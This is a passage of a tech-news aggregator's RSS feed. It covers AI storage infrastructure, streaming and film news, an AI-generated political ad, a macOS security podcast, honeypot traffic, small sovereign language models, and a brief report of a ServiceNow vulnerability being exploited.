tenants. </p><p><b>Unified file and object storage.</b> Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. </p><p><b>Metadata-first replication.</b> Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. </p><p>"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."</p><p><b>AlloyFlash and Always-On data reduction</b>. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.</p><h2><b>Solving AI's context problem</b></h2><p>Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.</p><p>Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. </p><p>The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.</p><p>"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."</p><h2><b>Where Weka sits competitively</b></h2><p>Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. </p><p>"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."</p><p>McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. </p><p>"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." </p><p>He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. </p><p>"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.</p><p>McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.</p><p>"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV pickleball comedy ‘The Dink’ delivers the laughs – SF Chronicle]]></title>
<description><![CDATA[In Apple TV's new movie, "The Dink," washed-up former tennis prodigy Dusty Boyd (Jake Johnson) has been reduced to coaching unruly…
The post Apple TV pickleball comedy ‘The Dink’ delivers the laughs – SF Chronicle appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3684681/ios-mac-os/apple-tv-pickleball-comedy-the-dink-delivers-the-laughs-sf-chronicle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684681/ios-mac-os/apple-tv-pickleball-comedy-the-dink-delivers-the-laughs-sf-chronicle/</guid>
<pubDate>Tue, 21 Jul 2026 21:04:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In Apple TV's new movie, "The Dink," washed-up former tennis prodigy Dusty Boyd (Jake Johnson) has been reduced to coaching unruly…</p>
<p>The post <a href="https://macdailynews.com/2026/07/21/apple-tv-pickleball-comedy-the-dink-delivers-the-laughs-sf-chronicle/">Apple TV pickleball comedy ‘The Dink’ delivers the laughs – SF Chronicle</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Reportedly Testing Massive 7-Inch Display for 20th Anniversary iPhone]]></title>
<description><![CDATA[Apple is testing a new iPhone display that measures 6.96 inches, which the company could market as a 7-inch screen if the panel reaches production. The display would become the largest screen ever used on an iPhone and could appear on Apple’s 2027 flagship model.



Digital Chat Station says supp...]]></description>
<link>https://tsecurity.de/de/3684640/ios-mac-os/apple-reportedly-testing-massive-7-inch-display-for-20th-anniversary-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684640/ios-mac-os/apple-reportedly-testing-massive-7-inch-display-for-20th-anniversary-iphone/</guid>
<pubDate>Tue, 21 Jul 2026 20:47:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is testing a new iPhone display that measures 6.96 inches, which the company could market as a 7-inch screen if the panel reaches production. The display would become the largest screen ever used on an iPhone and could appear on Apple’s 2027 flagship model.



Digital Chat Station says supply chain sources have seen Apple testing the larger panel, although the final purpose of the display remains unclear. The leaker believes Apple could use it for the next Pro Max model, but the device’s final name remains uncertain.



Apple will mark the iPhone’s 20th anniversary in 2027, and reports suggest the company is preparing a major design change for that year. Apple could introduce the phone as the iPhone 19 Pro Max, launch a separate anniversary model, or skip directly to the iPhone 20 name.



The company has also been working toward an iPhone design that looks like a single slab of glass, with thinner bezels and fewer visible interruptions around the screen. A larger 7-inch display would support that design direction while giving Apple another clear upgrade to promote.



However, Apple regularly tests prototype parts that never reach the market, so the display does not confirm a final product. More details should emerge as development continues.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘SEAL Team’ Confirms Netflix Release Date, Multiple Seasons Arrive This August]]></title>
<description><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than o...]]></description>
<link>https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</guid>
<pubDate>Tue, 21 Jul 2026 19:49:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than one season will become available, although the exact number has not been announced. The show has seven completed seasons, so Netflix has a large collection of episodes to choose from.



More information could arrive when Netflix publishes its full August 2026 release schedule. For now, viewers can expect at least two seasons when the series joins the service.



The Netflix release forms part of a licensing agreement involving several Paramount-owned shows. It follows other licensed dramas that have recently expanded beyond their original streaming homes.



What Is ‘SEAL Team’ About?



SEAL Team follows Bravo Team, an elite unit of United States Navy SEALs that handles dangerous missions around the world. The story covers mission planning, combat operations, family pressures and the lasting effects of military service.



David Boreanaz leads the cast as Jason Hayes, the experienced leader of Bravo Team. The main cast also includes Max Thieriot, Neil Brown Jr., A.J. Buckley, Toni Trucks and Jessica Paré.



The series first premiered on CBS in September 2017. It remained on broadcast television for its first four seasons before moving to Paramount+ during Season 5.



That move allowed the series to feature more mature storytelling, stronger language and darker mission-related themes. It eventually ended with its seventh and final season in October 2024. The complete series includes 114 episodes.



Is This the Animated ‘Seal Team’ Movie?



The incoming title is the live-action military drama starring David Boreanaz. It is separate from Netflix’s animated 2021 movie Seal Team, which follows a group of seals fighting sharks.



Multiple seasons of SEAL Team will begin streaming on Netflix US on August 18, 2026, giving existing fans another place to revisit Bravo Team’s missions while introducing the finished series to a wider audience.]]></content:encoded>
</item>
<item>
<title><![CDATA[Netanyahu Ad Uses a Questionable Tactic Against Bereaved Rival]]></title>
<description><![CDATA[A.I.-generated images showing Gadi Eisenkot, the Israeli leader’s top challenger in upcoming elections, played on anti-Arab sentiments and used images seen as disrespectful to his son, who was killed in the recent Gaza war.]]></description>
<link>https://tsecurity.de/de/3684408/ai-nachrichten/netanyahu-ad-uses-a-questionable-tactic-against-bereaved-rival/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684408/ai-nachrichten/netanyahu-ad-uses-a-questionable-tactic-against-bereaved-rival/</guid>
<pubDate>Tue, 21 Jul 2026 18:48:53 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A.I.-generated images showing Gadi Eisenkot, the Israeli leader’s top challenger in upcoming elections, played on anti-Arab sentiments and used images seen as disrespectful to his son, who was killed in the recent Gaza war.]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix’s Live-Action Gundam Movie Wraps Filming, Here’s Everything We Know]]></title>
<description><![CDATA[Netflix’s live-action Gundam movie has completed filming after spending nearly four months in production across Queensland, Australia. The science-fiction film now moves into post-production, where its large-scale robot battles and space environments will take shape.



Filming Has Officially Wra...]]></description>
<link>https://tsecurity.de/de/3684384/ios-mac-os/netflixs-live-action-gundam-movie-wraps-filming-heres-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684384/ios-mac-os/netflixs-live-action-gundam-movie-wraps-filming-heres-everything-we-know/</guid>
<pubDate>Tue, 21 Jul 2026 18:42:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix’s live-action Gundam movie has completed filming after spending nearly four months in production across Queensland, Australia. The science-fiction film now moves into post-production, where its large-scale robot battles and space environments will take shape.



Filming Has Officially Wrapped



Production began in April 2026 under the working title Teardrop. The crew filmed at Village Roadshow Studios on the Gold Coast, along with locations in Brisbane and Toowoomba.



Filming reportedly finished in July 2026, with cast and crew members attending a wrap party during the middle of the month. The production employed more than 350 local cast and crew members and contributed an estimated $110 million to Queensland’s economy.



What Is the Live-Action Gundam Movie About?



The movie will tell an original story set during a long war between Earth and its former space colonies.



Sydney Sweeney and Noah Centineo play rival mech pilots fighting on opposite sides of the conflict. However, changing alliances and a dangerous new threat eventually bring them together for a race across space that could decide humanity’s future.



The story will combine large mobile-suit battles with a more personal conflict between its two leading characters. Director Jim Mickle has also confirmed that the movie will feature familiar ships and mobile suits from the franchise, along with several new designs.



Who Is in the Gundam Cast?







Sydney Sweeney and Noah Centineo lead the cast. They are joined by:




Jason Isaacs



Michael Mando



Shioli Kutsuna



Jackson White



Nonso Anozie



Javon Walton



Oleksandr Rudynskyi



Ida Brooke



Gemma Chua-Tran




Character names and detailed roles have not been announced yet.



Jim Mickle, known for developing Sweet Tooth, wrote and directed the movie. Legendary Pictures adapted with Bandai Namco Filmworks and Mickle’s production company, Nightshade.



When Will Gundam Release on Netflix?



Netflix has not announced an official release date for the live-action Gundam movie. With filming complete and extensive visual-effects work ahead, the film is expected to arrive sometime in 2027.



A trailer, first-look images and character details will likely appear once post-production moves further forward.]]></content:encoded>
</item>
<item>
<title><![CDATA[Alan Ritchson’s Netflix Sequel Officially Revealed as War Machines]]></title>
<description><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in ...]]></description>
<link>https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in a social media post featuring a black-and-white photograph of the sequel’s script. The image slowly focused on the final “S,” confirming that the new movie will expand beyond the single alien machine featured in the original story.



The name follows a familiar sci-fi sequel pattern, similar to how Alien became Aliens. It also suggests that Ritchson’s character, Staff Sergeant 81, will face several deadly machines when the story continues.



Patrick Hughes and James Beaufort are writing the sequel. Hughes previously directed and co-wrote the first movie, which followed a group of Army Ranger candidates fighting a powerful alien machine during a training exercise.



Alan Ritchson Celebrates the Sequel



Ritchson previously thanked viewers for supporting War Machine and confirmed that he was preparing to return as 81. He described the first movie as the beginning of a much bigger world and suggested that the sequel would raise the scale considerably.



The sequel remains in development, and Netflix has not announced a filming date, full cast list, plot summary, or release date. Production listings indicate that the project will once again involve companies connected to the first film, including Lionsgate and Patrick Hughes’ production partners.



War Machine Was a Huge Netflix Hit



War Machine arrived on Netflix on March 6, 2026, and became the platform’s most-watched film during the first half of the year. It recorded 146.9 million views, finishing ahead of other major Netflix releases.



With the official War Machines title now revealed, more production and casting updates should follow as the sequel moves closer to filming.]]></content:encoded>
</item>
<item>
<title><![CDATA[Universal has dropped a terrifying trailer for new movie Other Mommy — and I can't wait for Jessica Chastain's return to horror]]></title>
<description><![CDATA[The director of the Zoom horror sensation Host is back, and he's brought Jessica Chastain along with him. Check out Other Mommy's terrifying trailer.]]></description>
<link>https://tsecurity.de/de/3684114/it-nachrichten/universal-has-dropped-a-terrifying-trailer-for-new-movie-other-mommy-and-i-cant-wait-for-jessica-chastains-return-to-horror/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684114/it-nachrichten/universal-has-dropped-a-terrifying-trailer-for-new-movie-other-mommy-and-i-cant-wait-for-jessica-chastains-return-to-horror/</guid>
<pubDate>Tue, 21 Jul 2026 17:03:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The director of the Zoom horror sensation Host is back, and he's brought Jessica Chastain along with him. Check out Other Mommy's terrifying trailer.]]></content:encoded>
</item>
<item>
<title><![CDATA[MacOS Security Design Features, Flaws, And Futures - Patrick Wardle - ASW #392]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:5 Appsec often frames usability and security as at odds with each other. Apple's software has famously emphasized the importance of usability while also creating a solid security foundation. Patrick Wardle talks about how he's seen ...]]></description>
<link>https://tsecurity.de/de/3684069/it-security-video/macos-security-design-features-flaws-and-futures-patrick-wardle-asw-392/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684069/it-security-video/macos-security-design-features-flaws-and-futures-patrick-wardle-asw-392/</guid>
<pubDate>Tue, 21 Jul 2026 16:50:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:5 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/l1O7dSmjOK0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Appsec often frames usability and security as at odds with each other. Apple's software has famously emphasized the importance of usability while also creating a solid security foundation. Patrick Wardle talks about how he's seen malware shift from Windows to macOS, how Apple's aggressive stance on deprecation benefits security, and the areas of the OS where he still sees plenty of opportunity for more security research. We discuss how developers make defensible design choices, why privacy needs security, and some security principles that any app developer should keep in mind regardless of their programming language or operating system.<br />
<br />
Resources:<br />
- https://objective-see.org/blog/blog_0x86.html<br />
- https://objective-see.org/products/lulu.html<br />
- https://objectivebythesea.org/v9/index.html<br />
<br />
Visit https://www.securityweekly.com/asw for all the latest episodes!<br />
<br />
Show Notes: https://securityweekly.com/asw-392<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacOS Security Design Features, Flaws, And Futures - Patrick Wardle - ASW #392]]></title>
<description><![CDATA[Appsec often frames usability and security as at odds with each other. Apple's software has famously emphasized the importance of usability while also creating a solid security foundation. Patrick Wardle talks about how he's seen malware shift from Windows to macOS, how Apple's aggressive stance ...]]></description>
<link>https://tsecurity.de/de/3684041/it-security-nachrichten/macos-security-design-features-flaws-and-futures-patrick-wardle-asw-392/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684041/it-security-nachrichten/macos-security-design-features-flaws-and-futures-patrick-wardle-asw-392/</guid>
<pubDate>Tue, 21 Jul 2026 16:38:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Appsec often frames usability and security as at odds with each other. Apple's software has famously emphasized the importance of usability while also creating a solid security foundation. Patrick Wardle talks about how he's seen malware shift from Windows to macOS, how Apple's aggressive stance on deprecation benefits security, and the areas of the OS where he still sees plenty of opportunity for more security research. We discuss how developers make defensible design choices, why privacy needs security, and some security principles that any app developer should keep in mind regardless of their programming language or operating system.</p> <p>Resources:</p> <ul> <li><a rel="noopener" target="_blank" href="https://objective-see.org/blog/blog_0x86.html">https://objective-see.org/blog/blog_0x86.html</a></li> <li><a rel="noopener" target="_blank" href="https://objective-see.org/products/lulu.html">https://objective-see.org/products/lulu.html</a></li> <li><a rel="noopener" target="_blank" href="https://objectivebythesea.org/v9/index.html">https://objectivebythesea.org/v9/index.html</a></li> </ul> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/asw">https://www.securityweekly.com/asw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/asw-392">https://securityweekly.com/asw-392</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Captive Portal Detection, (Tue, Jul 21st)]]></title>
<description><![CDATA[Not everything our honeypots detect is an attack. Sometimes it is just “odd traffic”, and this is one example: Our “First Seen” list currently includes “http://detectportal.firefox.co This article has been indexed from SANS Internet Storm Center, InfoCON: green Read the…
Read more →
The post Cap...]]></description>
<link>https://tsecurity.de/de/3684005/it-security-nachrichten/captive-portal-detection-tue-jul-21st/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684005/it-security-nachrichten/captive-portal-detection-tue-jul-21st/</guid>
<pubDate>Tue, 21 Jul 2026 16:24:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Not everything our honeypots detect is an attack. Sometimes it is just “odd traffic”, and this is one example: Our “First Seen” list currently includes “http://detectportal.firefox.co This article has been indexed from SANS Internet Storm Center, InfoCON: green Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/captive-portal-detection-tue-jul-21st/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/captive-portal-detection-tue-jul-21st/">Captive Portal Detection, (Tue, Jul 21st)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Captive Portal Detection, (Tue, Jul 21st)]]></title>
<description><![CDATA[Not everything our honeypots detect is an attack. Sometimes it is just "odd traffic", and this is one example: Our "First Seen" list currently includes "http://detectportal.firefox.co m/success.txt" as one of the new URLs detected by our honeypots. The hostname "detectportal" kind of gives away ...]]></description>
<link>https://tsecurity.de/de/3683923/it-security-nachrichten/captive-portal-detection-tue-jul-21st/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683923/it-security-nachrichten/captive-portal-detection-tue-jul-21st/</guid>
<pubDate>Tue, 21 Jul 2026 15:52:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Not everything our honeypots detect is an attack. Sometimes it is just "odd traffic", and this is one example: Our "First Seen" list currently includes "http://detectportal.firefox.co<br> m/success.txt" as one of the new URLs detected by our honeypots. The hostname "detectportal" kind of gives away what is happening here. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Exploitation of ServiceNow Vulnerability Seen Days After Disclosure]]></title>
<description><![CDATA[The ServiceNow AI platform vulnerability tracked as CVE-2026-6875 can be exploited for remote code execution. The post Exploitation of ServiceNow Vulnerability Seen Days After Disclosure appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original article:…
Re...]]></description>
<link>https://tsecurity.de/de/3683132/it-security-nachrichten/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683132/it-security-nachrichten/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/</guid>
<pubDate>Tue, 21 Jul 2026 11:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The ServiceNow AI platform vulnerability tracked as CVE-2026-6875 can be exploited for remote code execution. The post Exploitation of ServiceNow Vulnerability Seen Days After Disclosure appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original article:…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/">Exploitation of ServiceNow Vulnerability Seen Days After Disclosure</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



